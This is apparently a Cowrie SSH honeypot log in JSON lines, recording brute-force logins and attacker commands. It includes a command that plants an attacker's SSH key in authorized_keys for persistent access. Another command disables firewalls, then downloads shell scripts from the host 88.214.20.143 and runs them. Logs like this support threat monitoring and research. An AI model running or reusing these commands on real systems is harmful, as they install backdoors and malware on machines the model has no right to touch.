{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:30.839839Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.097080Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.635172Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.638519Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.896473Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.899795Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":49596,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb0ab457a7be","protocol":"ssh","message":"New connection: 103.13.211.185:49596 (159.203.135.109:22) [session: bb0ab457a7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.923805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:31.928362Z","src_ip":"103.13.211.185","session":"bb0ab457a7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:32.023264Z","src_ip":"103.13.211.185","session":"bb0ab457a7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":60808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26900e0b7c2","protocol":"ssh","message":"New connection: 159.223.57.48:60808 (159.203.135.109:22) [session: d26900e0b7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:32.123257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:32.128549Z","src_ip":"159.223.57.48","session":"d26900e0b7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:32.366304Z","src_ip":"159.223.57.48","session":"d26900e0b7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"znc2025","message":"login attempt [znc/znc2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:32.522206Z","src_ip":"103.13.211.185","session":"bb0ab457a7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:33.350183Z","src_ip":"159.223.57.48","session":"d26900e0b7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:33.624104Z","src_ip":"103.13.211.185","session":"bb0ab457a7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:34.590368Z","src_ip":"159.223.57.48","session":"d26900e0b7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":60814,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7170ff0b31","protocol":"ssh","message":"New connection: 159.223.57.48:60814 (159.203.135.109:22) [session: 7b7170ff0b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:34.847804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:34.851991Z","src_ip":"159.223.57.48","session":"7b7170ff0b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:35.105462Z","src_ip":"159.223.57.48","session":"7b7170ff0b31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:36.151732Z","src_ip":"159.223.57.48","session":"7b7170ff0b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:36.408412Z","src_ip":"159.223.57.48","session":"59c9306dda0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:36.413134Z","src_ip":"159.223.57.48","session":"7b7170ff0b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":60492,"dst_ip":"10.17.0.5","dst_port":22,"session":"01291b5b0a39","protocol":"ssh","message":"New connection: 185.242.3.105:60492 (10.17.0.5:22) [session: 01291b5b0a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:51.511706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:51.515827Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:51.625796Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:51.933279Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:52.157689Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"pkill iptables -9; pkill firewalld -9; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget curl -o sshbins.sh http://88.214.20.143/sshbins.sh;curl -o sshbins.sh http://88.214.20.143/sshbins.sh; wget http://88.214.20.143/sshbins.sh; chmod 777 sshbins.sh; sh sshbins.sh; tftp 88.214.20.143 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20.143; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20.143 ftp1.sh ftp1.sh; sh ftp1.sh","message":"CMD: pkill iptables -9; pkill firewalld -9; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget curl -o sshbins.sh http://88.214.20.143/sshbins.sh;curl -o sshbins.sh http://88.214.20.143/sshbins.sh; wget http://88.214.20.143/sshbins.sh; chmod 777 sshbins.sh; sh sshbins.sh; tftp 88.214.20.143 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20.143; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20.143 ftp1.sh ftp1.sh; sh ftp1.sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:52.160619Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"wget curl -o sshbins.sh http://88.214.20.143/sshbins.sh","message":"Command found: wget curl -o sshbins.sh http://88.214.20.143/sshbins.sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:52.166514Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b55eebf32a1655f37f46368ace5290919e32d02076c37ad18d50487b10f4768a","size":156,"shasum":"b55eebf32a1655f37f46368ace5290919e32d02076c37ad18d50487b10f4768a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b55eebf32a1655f37f46368ace5290919e32d02076c37ad18d50487b10f4768a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:52.278873Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","url":"http://88.214.20.143/sshbins.sh","outfile":"var/lib/cowrie/downloads/2990ecb627c39d0c0d987c7dd00f0bae177b0b5a2411f736439e86004d5d6e93","shasum":"2990ecb627c39d0c0d987c7dd00f0bae177b0b5a2411f736439e86004d5d6e93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:52.330934Z","message":"Downloaded URL (http://88.214.20.143/sshbins.sh) with SHA-256 2990ecb627c39d0c0d987c7dd00f0bae177b0b5a2411f736439e86004d5d6e93 to var/lib/cowrie/downloads/2990ecb627c39d0c0d987c7dd00f0bae177b0b5a2411f736439e86004d5d6e93","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:30:52.512605Z","src_ip":"185.242.3.105","session":"01291b5b0a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54176,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb41fd27d2f7","protocol":"ssh","message":"New connection: 92.118.39.92:54176 (159.203.135.109:22) [session: bb41fd27d2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:17.445986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:17.449997Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:17.554213Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"default","message":"login attempt [root/default] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:17.871344Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:18.115461Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:18.118698Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:18.258249Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:18.263154Z","src_ip":"92.118.39.92","session":"bb41fd27d2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":35604,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18c1d108bbb","protocol":"ssh","message":"New connection: 103.67.80.61:35604 (159.203.135.109:22) [session: a18c1d108bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:33.251757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:33.256214Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:33.490468Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
